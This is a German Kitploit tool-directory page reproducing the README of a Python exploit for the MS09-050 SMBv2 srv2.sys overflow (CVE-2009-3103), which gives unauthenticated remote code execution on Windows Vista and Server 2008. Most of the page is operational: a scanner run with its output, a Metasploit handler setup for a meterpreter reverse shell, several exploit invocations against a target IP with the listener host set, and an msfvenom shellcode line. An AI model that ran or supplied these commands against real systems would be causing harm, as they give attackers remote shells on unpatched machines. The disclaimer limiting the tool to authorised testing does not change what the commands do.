Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
MS09-050 — Python-Exploit für MS09-050 (CVE-2009-3103) SMBv2 srv2.sys-Pufferüberlauf, mit Schwachstellen-Scanner, automatischer Architekturerkennung und x86/x64-Reverse-Shell-Payloads. | Kitploit
Tools/GitHubGitHub/bytejmp/ms09-050
SchwachstellenscannerPayload-GenerierungExploitationShellcodeInformationsbeschaffungPost-ExploitationNetzwerksicherheitPenetrationstestsRed TeamingRemote-Access-Tool
GitHubbytejmp/ms09-050

MS09-050

vor 13h 56mNoch nicht geprüft

Python-Exploit für MS09-050 (CVE-2009-3103) SMBv2 srv2.sys-Pufferüberlauf, mit Schwachstellen-Scanner, automatischer Architekturerkennung und x86/x64-Reverse-Shell-Payloads.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

MS09-050 — SMBv2 Remote Code Execution Exploit

CVE-2009-3103

Die Schwachstelle

Windows Vista und Server 2008 führten SMBv2 mit einem neuen Kernel-Treiber ein, srv2.sys. Dieser Treiber validiert das Feld Process Id High in SMB-Negotiate-Anfragen nicht. Durch Senden eines speziell präparierten Werts in diesem Feld veranlasst ein Angreifer srv2.sys, mit einem kontrollierten Wert in eine Funktionszeigertabelle zu indizieren und eine vom Angreifer bereitgestellte Adresse zu dereferenzieren.

Das Ergebnis ist beliebige Codeausführung im Kernel-Kontext, ohne Authentifizierung. Der Angreifer muss lediglich Port 445 erreichen.

Microsoft hat dies im Oktober 2009 gepatcht (KB975517). Jedes ungepatchte Vista SP1/SP2- oder Server 2008 SP1-System ist anfällig.

Betroffene Systeme

Ziel-BetriebssystemArchitektur
Windows Vista SP1x86
Windows Vista SP2x86 / x64
Windows Server 2008 SP1x86 / x64
Windows Server 2008 SP1 (pre-R2)x64

Funktionen

  • Scanner-Modul: Fingerprinting des Ziel-Betriebssystems und der Architektur über SMB-Negotiation, meldet den Verwundbarkeitsstatus
  • Automatische Architektur-Erkennung: Der Scanner speist Architekturinformationen direkt in den Exploit ein, kein manuelles Raten
  • Integrierter Payload: meterpreter/reverse_tcp-Stager für x86, einsatzbereit mit multi/handler
  • msfvenom-Integration: Generieren Sie beliebige Payloads für jede Architektur über msfvenom, mit optionalem --msf-payload zur Auswahl eines benutzerdefinierten Payloads
  • Unterstützung für benutzerdefinierten Shellcode: Laden Sie eine beliebige rohe Shellcode-Datei (-s)
  • Strukturierte Ausgabe: [+] Erfolg, [-] Fehler, [!] Warnung, [*] Info

Installation

root@kitploit:~
git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050

Voraussetzungen:

  • Python 3.6+
  • rpcclient (aus dem smbclient-Paket), wird verwendet, um den Payload nach der Injektion auszulösen
  • msfvenom, nur erforderlich bei Verwendung des --msfvenom-Flags

Unter Debian/Ubuntu:

root@kitploit:~
sudo apt install smbclient

Unter Arch Linux:

root@kitploit:~
sudo pacman -S smbclient

Verwendung

Ein Ziel scannen

root@kitploit:~
python3 MS09.py scan -t 192.168.1.10

Ausgabe:

root@kitploit:~
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050

Exploit mit integriertem Payload (x86)

Verwendet einen meterpreter/reverse_tcp-Stager. Starten Sie zuerst Ihren Handler:

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"

Führen Sie dann den Exploit aus:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444

Exploit mit msfvenom (beliebige Architektur/Payload)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64

Exploit mit msfvenom (benutzerdefinierter Payload)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444

Exploit mit benutzerdefinierter Shellcode-Datei

Generieren Sie rohen Shellcode einmal und verwenden Sie ihn ohne msfvenom wieder:

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin

Führen Sie ihn dann dem Exploit zu:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86

Vollständige Hilfe

root@kitploit:~
$ python3 MS09.py -h

usage: MS09.py [-h] {scan,exploit} ...

MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)

positional arguments:
  {scan,exploit}  Operation mode
    scan          Scan target for MS09-050 vulnerability
    exploit       Send exploit to target

$ python3 MS09.py exploit -h

usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
                        (--payload | --msfvenom | -s FILE)
                        [-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]

options:
  -t, --target      Target IP address
  -P, --port        SMB port (default: 445)
  -a, --arch        Target architecture (auto-detected if omitted)
  --payload         Use built-in reverse shell payload (no Metasploit needed)
  --msfvenom        Generate shellcode with msfvenom
  --msf-payload     msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
  -s, --shellcode   Path to raw shellcode file
  -l, --lhost       Listener IP address
  -p, --lport       Listener port

Projektstruktur

root@kitploit:~
MS09/
├── MS09.py              # Main entry point
├── README.md
└── lib/
    ├── __init__.py
    ├── output.py        # Standardized output formatting
    ├── scanner.py       # SMBv2 vulnerability scanner
    ├── payloads.py      # Built-in shellcode (reverse TCP shell)
    └── exploit.py       # Exploit buffer construction and delivery

Funktionsweise

  1. Der Scanner sendet eine SMB1-Negotiate Protocol Request, um die Betriebssystemversion und Architektur des Ziels zu ermitteln
  2. Der Exploit erstellt eine fehlerhafte SMBv2-Negotiate-Anfrage, die einen Puffer in srv2.sys überläuft
  3. Ein sysenter hook stager wird verwendet, um erste Codeausführung im Kernel-Kontext zu erlangen
  4. Der Stager wechselt in den User-Mode und führt den bereitgestellten Shellcode aus (Reverse Shell)
  5. rpcclient löst den injizierten Code aus, indem es einen SMB-Authentifizierungsversuch initiiert

Referenzen

  • CVE-2009-3103
  • Microsoft Security Bulletin MS09-050
  • SRV2.SYS SMBv2 Vulnerability Analysis

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Penetrationstests und Bildungszwecke bereitgestellt.

Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen eine Straftat. Sie müssen vor der Verwendung dieses Tools gegen ein Ziel die ausdrückliche schriftliche Genehmigung des Systemeigentümers einholen. Die Autoren übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.

Durch die Verwendung dieses Tools stimmen Sie zu, dass:

  • Sie über eine schriftliche Genehmigung verfügen, das Zielsystem zu testen
  • Sie im Rahmen einer legitimen Sicherheitsbewertung handeln
  • Sie die volle Verantwortung für Ihre Handlungen übernehmen
  • Sie alle geltenden Gesetze und Vorschriften einhalten

Verwenden Sie es verantwortungsvoll. Hacken Sie ethisch.

Tool herunterladen